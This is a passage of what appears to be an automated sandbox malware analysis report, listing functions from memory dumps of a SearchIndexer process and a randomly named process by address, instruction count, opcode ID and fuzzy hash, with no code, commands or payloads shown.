                                                                    • Opcode ID: bd7ac4cfe4fc3fbb32317b3fbc259b98cf2ad79bc1ae12eab0c690918604153c
                                                                    • Instruction ID: 874d8bb74f9574388c43d035785685bbbf566cc91c76757f2a8fe3d2e07b3b5b
                                                                    • Opcode Fuzzy Hash: bd7ac4cfe4fc3fbb32317b3fbc259b98cf2ad79bc1ae12eab0c690918604153c
                                                                    • Instruction Fuzzy Hash: 95D012206254098FD644B77D98D58943BA5FF0E218BC510E1E00DCB2A3E65A98459740
                                                                    Function 00007FFD9B8706A5 Relevance: .0, Instructions: 13COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction ID: 54ef6c90a836c2772c043b70a665bce531f2c279f45ba8f56c040da3f5687a77
                                                                    • Opcode Fuzzy Hash: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction Fuzzy Hash: A2C01200F2B60F00EC20B3AA98B20ADA101EBCCA18FD20032C008820E1984D22862146
                                                                    Function 00007FFD9B870610 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction ID: 73de57c35a9ac5e3e9faa76c3f132775a226710662ee5d64f81572f1a16efd98
                                                                    • Opcode Fuzzy Hash: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction Fuzzy Hash: 9FC08C3092180C8FC900F738C984900B6E0FB0D204BC600E0E00EC71B0E22998948700
                                                                    Function 00007FFD9B871310 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction ID: 7cb454635966be04741699e7bcf11b3b6a81ce97f2cf3e099fe33004568f3c59
                                                                    • Opcode Fuzzy Hash: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction Fuzzy Hash: 4AC08C3055580C8FC918EB69C89881433A0FB0D208BD20090E008C7170D22ADCC0C740
                                                                    Function 00007FFD9B870B18 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction ID: 466bd65b6d7deb23ea7a7281910584874d7d9311c16a2dc9567971f805e4fc94
                                                                    • Opcode Fuzzy Hash: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction Fuzzy Hash: E7C08C305118088FC900E72CC88481032A0FB0E219BC20090E40DC7170E21ADCC0C700
                                                                    Function 00007FFD9B870708 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: fd86941efec3beaa117b63f13ee43b22bada210466f7319ebdf2d2acb94d55aa
                                                                    • Instruction ID: 32bb1e696cd748fce64f2ff07fc7b96f45e9b979e5420315ab13b1b494ed7415
                                                                    • Opcode Fuzzy Hash: fd86941efec3beaa117b63f13ee43b22bada210466f7319ebdf2d2acb94d55aa
                                                                    • Instruction Fuzzy Hash: B7C08C3052180C8FC940E729C8C580036A0FB0D204BC200E0E008CB261E21A98448700
                                                                    Function 00007FFD9B870540 Relevance: .0, Instructions: 9COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction ID: fe2c24d237e3bd50246a8de90763a72a8b8b5c0ae1bd2e75f361f90f5ac13582
                                                                    • Opcode Fuzzy Hash: 7290849d3a4f824c9038adf1d6d595f68aba8562a3c154de17bdb756897f64c3
                                                                    • Instruction Fuzzy Hash: 6DB09220D5760F82DA3837B118A20A4B0A1EB09249FE201B4D408411A1E86E52D5A252
                                                                    Function 00007FFD9B8706C8 Relevance: .0, Instructions: 8COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 00000038.00000002.2959336582.00007FFD9B870000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B870000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_56_2_7ffd9b870000_SearchIndexer.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction ID: 69b050405b473da881a53ca6000eb20ea9a107530182d58066f2674680e89fac
                                                                    • Opcode Fuzzy Hash: 238015f6f33a3da4d6ce6ec078ef859a9a1607d6ec88d974f6e5f5684b3ba60c
                                                                    • Instruction Fuzzy Hash: 96B01200D7740F00E82433FB0CE2069B040DB4C208FC20070D40D410D5984D12962242

                                                                    Executed Functions

                                                                    Function 00007FFD9B890D77 Relevance: .3, Instructions: 255COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: fe5589fc7449dc787a502e6f25454c19b528b8268645ba1760cf79326a9ce38a
                                                                    • Instruction ID: c527e0fbf3bca180d0c6a9bca2e7a5b76f429d8b2984936bd1644a159ce5b71b
                                                                    • Opcode Fuzzy Hash: fe5589fc7449dc787a502e6f25454c19b528b8268645ba1760cf79326a9ce38a
                                                                    • Instruction Fuzzy Hash: 7791B0B2A19A8D4FE758DB68C865BA9BFE1FF99300F4100BAD05AC73D6DB781401C741
                                                                    Function 00007FFD9B890998 Relevance: .1, Instructions: 105COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 12982a3cca2772f568ac4375896467054487260dba4bf133b3c7afd91fa6b40a
                                                                    • Instruction ID: 5909928ed113e957389b8465156d1f37dbe41572214182f34dfcc3fd09afc913
                                                                    • Opcode Fuzzy Hash: 12982a3cca2772f568ac4375896467054487260dba4bf133b3c7afd91fa6b40a
                                                                    • Instruction Fuzzy Hash: 45219320B1D91D5FEB98FB6C946AA7977C2EF9C315B5500B9E40DC32E6DD28AC428241
                                                                    Function 00007FFD9B892E40 Relevance: .1, Instructions: 97COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 92009a22173e0a24d2895dcfcb9b229d7b510742e2fd124fa1808fd05c8f672f
                                                                    • Instruction ID: bbeddf03ac836c120a61e9a094ad54df1cceed1594f284aa853550d92cae8af5
                                                                    • Opcode Fuzzy Hash: 92009a22173e0a24d2895dcfcb9b229d7b510742e2fd124fa1808fd05c8f672f
                                                                    • Instruction Fuzzy Hash: CC314921F1991E4FEFB4EB94C4A57BC6691BF9C710F5201B5D40ED72A2DE28AE404700
                                                                    Function 00007FFD9B89119D Relevance: .1, Instructions: 95COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: fa05948c2ab732c73fd33fb3beed9ad74a5ca44b25107a4deb15e8e45fdc9a7b
                                                                    • Instruction ID: 5c9998682febacd6b44bbf0b21b9f884572c1af5d386e8f49e3a60f3ed23561d
                                                                    • Opcode Fuzzy Hash: fa05948c2ab732c73fd33fb3beed9ad74a5ca44b25107a4deb15e8e45fdc9a7b
                                                                    • Instruction Fuzzy Hash: D9318231B0D64E9FDF55EBA8C8649BD7BF1FF59300B0605BAC009D72A2DE28A941C740
                                                                    Function 00007FFD9B890C25 Relevance: .1, Instructions: 88COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: e45ca330325f268fdd5a3ae42f622fffc530e7e2398bc9bf0f564b9048a838d9
                                                                    • Instruction ID: a66d695bbfd3365c4db7f9c51a84464177f41bbe85fae911988c72292c517121
                                                                    • Opcode Fuzzy Hash: e45ca330325f268fdd5a3ae42f622fffc530e7e2398bc9bf0f564b9048a838d9
                                                                    • Instruction Fuzzy Hash: 0A213736B1E25E8FEB26A7A8AC650EC7F60EF45324F0541F3D058CB1D3D92826469381
                                                                    Function 00007FFD9B890C38 Relevance: .1, Instructions: 57COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 2caebd000906bccf4f534a25cec352e6d867284788f31d7152da56a21c70b15a
                                                                    • Instruction ID: 7fa63724d7345ca05e965cb95c9508bd39b244721feb9fb79b576a14bdf30faa
                                                                    • Opcode Fuzzy Hash: 2caebd000906bccf4f534a25cec352e6d867284788f31d7152da56a21c70b15a
                                                                    • Instruction Fuzzy Hash: B211C232F1E68D8FEB22DBA8986119D7FB0EF55714F0645F7C054DB2A2D938264A8780
                                                                    Function 00007FFD9B890C40 Relevance: .1, Instructions: 51COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: b4fe8a96acab746b2dbee3357857d12ae0699af09b7d57196d273faf75e81cf5
                                                                    • Instruction ID: 001ee003bafcabe7c843db852ea139d69095ee5eec91eeb936c29284d9c63eb1
                                                                    • Opcode Fuzzy Hash: b4fe8a96acab746b2dbee3357857d12ae0699af09b7d57196d273faf75e81cf5
                                                                    • Instruction Fuzzy Hash: 0B11C432F1E68D8FEB12DBA8886419D7FB0EF56714F0641F7D054DB2A2D938664A8780
                                                                    Function 00007FFD9B890C48 Relevance: .0, Instructions: 45COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 09fcf8ca6534f8087352244799982efd5cde37bcd6fb1126f751b650eefa8837
                                                                    • Instruction ID: 007f89241be4415b7827f9c970fe3c2f68a76761bc2c02e0ef9b679a0b745aae
                                                                    • Opcode Fuzzy Hash: 09fcf8ca6534f8087352244799982efd5cde37bcd6fb1126f751b650eefa8837
                                                                    • Instruction Fuzzy Hash: 7101D231E1E28DCFEB12DBA4885009D7FB0EF06704F0641F7D054DB2A2D93866458780
                                                                    Function 00007FFD9B890C50 Relevance: .0, Instructions: 40COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 2159928b77fec603f433d57ed82b2ce6489177896e1805d50edd08f871573740
                                                                    • Instruction ID: c3c124b4cd124c81817529b4044a8c37b0371bebae1c4a14f238fe778673d881
                                                                    • Opcode Fuzzy Hash: 2159928b77fec603f433d57ed82b2ce6489177896e1805d50edd08f871573740
                                                                    • Instruction Fuzzy Hash: AE01BC31E1E28DDFEB22DBA488A409D7FB0EF1A704F1541F7D054CB2A2D9386A458780
                                                                    Function 00007FFD9B893FF0 Relevance: .0, Instructions: 39COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 821789c3afbb6c0e2061686e1de1771459a716f96895e7eb70a92aa02d88a805
                                                                    • Instruction ID: 81c193937352e5236aef82cefa781bdcd1780f1f90e81f20da319a50e4543049
                                                                    • Opcode Fuzzy Hash: 821789c3afbb6c0e2061686e1de1771459a716f96895e7eb70a92aa02d88a805
                                                                    • Instruction Fuzzy Hash: D4014471A489588FDF64DB04C854FAEB7B1FB68300F0645A9D40FA7260DB34AA84CF81
                                                                    Function 00007FFD9B89176E Relevance: .0, Instructions: 38COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 1b70462a2db1d3d37aa197d45af67caf7eb18390dc74c9279c4d9520d0c00cdb
                                                                    • Instruction ID: 85d9cfa1f3af0982ea33edae1e3f3e981041e022b4d6209cff9449f2962f469d
                                                                    • Opcode Fuzzy Hash: 1b70462a2db1d3d37aa197d45af67caf7eb18390dc74c9279c4d9520d0c00cdb
                                                                    • Instruction Fuzzy Hash: A1F0C222F0D91B9BFB68BB04C8295A86792EB59310F064275D41DC72E9EE2C6A0183C1
                                                                    Function 00007FFD9B893FFF Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 3f58a520588ab2edc2dc16e6e191e9dc35ffe7e8b6d42160a46379568ab70f41
                                                                    • Instruction ID: 083f494c01a7bb0f5b69faf0438806799b1925ee63d3a188b49d487908bfde08
                                                                    • Opcode Fuzzy Hash: 3f58a520588ab2edc2dc16e6e191e9dc35ffe7e8b6d42160a46379568ab70f41
                                                                    • Instruction Fuzzy Hash: 77F0CD71A089588FDF54DB04C894F9E77B1FB68311F118699D40EE7264DA34AA84CF85
                                                                    Function 00007FFD9B892F0B Relevance: .0, Instructions: 35COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction ID: df87c9535ebed48b618f4d3982c0481c63fe113cc1de05ba6d2f7b4ea9aba7ce
                                                                    • Opcode Fuzzy Hash: aa69fec6b4429639b23ef6693e96b365e6c0c4b016e0f38c26a298fa285c5519
                                                                    • Instruction Fuzzy Hash: C0F0E631B5951E8AEF74EF94C8A57F87761FF98711F1601B5D40ED31A2DE386A818B00
                                                                    Function 00007FFD9B8905F8 Relevance: .0, Instructions: 24COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 334d7f1996c0b5e8d9cab45ef4dd1f4b7a5c543ff24098ef7f0e9ad70fb44093
                                                                    • Instruction ID: e43eb54ce041674789f8f14c634e2f0062ca9de9a1711c85f65e96504ce716f1
                                                                    • Opcode Fuzzy Hash: 334d7f1996c0b5e8d9cab45ef4dd1f4b7a5c543ff24098ef7f0e9ad70fb44093
                                                                    • Instruction Fuzzy Hash: 7EE0C211A2D92D8FDA14FB79A8658557BD0EF0D310BCA41F3E04ECB0A6E81468848649
                                                                    Function 00007FFD9B891D9C Relevance: .0, Instructions: 21COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction ID: e3dd7dde28ba439e3d8db9a8fbcf4ff7a2e15f18bcb7eda857fdd6a17523ab84
                                                                    • Opcode Fuzzy Hash: c6ab363836b5886034f7a43c8693565c541e6e60fba7df9961d65f11f34bc7f2
                                                                    • Instruction Fuzzy Hash: BDE09220F0D00A87FBB46788C8607A96210EB88300F1140B8DA5ED33D5CE28AE458B14
                                                                    Function 00007FFD9B890B95 Relevance: .0, Instructions: 19COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction ID: 2531cacda1fc5a546aaf75607c61163b4005b6ce7e340a26c71d114f3e52f7b4
                                                                    • Opcode Fuzzy Hash: 84da47e8a84d7c7bda6fe4433242c964a2a7c5542f6b8e5b554b8c59c440ec5d
                                                                    • Instruction Fuzzy Hash: E8D0A930229A4E8FCA00B778C88A828BFA0FB4F210BCA10E1E00CC75A6C61888998700
                                                                    Function 00007FFD9B896BEE Relevance: .0, Instructions: 15COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 42543377bdc3724897e0367a00d7bfb40d13eba2c168d7a9aa4e2e83b22b5f86
                                                                    • Instruction ID: 33d4155a16d4faa0bc16ff5a754fa2e11b3bacd4e260fd8031cbf9bbd1e7344a
                                                                    • Opcode Fuzzy Hash: 42543377bdc3724897e0367a00d7bfb40d13eba2c168d7a9aa4e2e83b22b5f86
                                                                    • Instruction Fuzzy Hash: 3CD01760F2E21E9AFEB6ABE4C4606B959806F88701F0200B4D80EC31E2CF186E008240
                                                                    Function 00007FFD9B890700 Relevance: .0, Instructions: 15COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: a635d759255531d086955902f39c7133bad403dad42d4f325f37f5774fe11740
                                                                    • Instruction ID: c60dd94f61080fd1d2a716d5841f45c6a511a93d2f517b77511000f397477498
                                                                    • Opcode Fuzzy Hash: a635d759255531d086955902f39c7133bad403dad42d4f325f37f5774fe11740
                                                                    • Instruction Fuzzy Hash: 09D012206254098FDA44B77D98958A43BA5FF0E218BC510E1E00DCB1A3E65A9C458740
                                                                    Function 00007FFD9B8906A5 Relevance: .0, Instructions: 13COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction ID: 6a0f548f5851d83451bd9cd2a28fb594d23f5e6b3b9716f21b74d9fc43b4e9ae
                                                                    • Opcode Fuzzy Hash: c557962ecdf9a645250e69c81db5121ef9feda43b66054d61157a3cc4c3d3c8f
                                                                    • Instruction Fuzzy Hash: 3AC04C06F6B61F01FC3677EE9C660ADA9409FDDF10FD70172D54D400E59D4D22D60156
                                                                    Function 00007FFD9B890610 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction ID: ee58f1d61f09d8316370c2c904d16d7eafd8c6258456fef17fcd21b00619b165
                                                                    • Opcode Fuzzy Hash: d65b3a1f2b3ad503637b158c9c2dff92bd820aa817ef57b0e4c78606ed05fda1
                                                                    • Instruction Fuzzy Hash: 94C08C3092180C8FC904F738C9849007AE0FB0D200BC600D0E40EC7170E22998548700
                                                                    Function 00007FFD9B890B18 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction ID: 8c26c3e2f7bf7630aa6a055c3226d15fb3520b3ab627a2d2af3be00940f95eaa
                                                                    • Opcode Fuzzy Hash: 4c576b335eb65a8f3352678227d99615bd88c885f1ae07bafee35a7c8a1f1215
                                                                    • Instruction Fuzzy Hash: ADC08C305118088FC900E72DC98481036A0FB0E210BC20090E40DC7170E21ADCC0C700
                                                                    Function 00007FFD9B891310 Relevance: .0, Instructions: 12COMMON
                                                                    Download Yara Rule
                                                                    Memory Dump Source
                                                                    • Source File: 0000003B.00000002.3389066658.00007FFD9B890000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B890000, based on PE: false
                                                                    Joe Sandbox IDA Plugin
                                                                    • Snapshot File: hcaresult_59_2_7ffd9b890000_tAVtSoJGTaCxrZiXcJn.jbxd
                                                                    Similarity
                                                                    • API ID:
                                                                    • String ID:
                                                                    • API String ID:
                                                                    • Opcode ID: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction ID: 197a144fd6e612a218ea6739269fc2caf38fa2448212c2eca817dfd211397922
                                                                    • Opcode Fuzzy Hash: ded74a042e7444421a90b7133b5d1c50d87903aa23d20065afb2b17ec0c1f309
                                                                    • Instruction Fuzzy Hash: FCC08C3455180C8FC918EB69C89881437A0FB0D204BD20090E008C7170D229DCC0C740
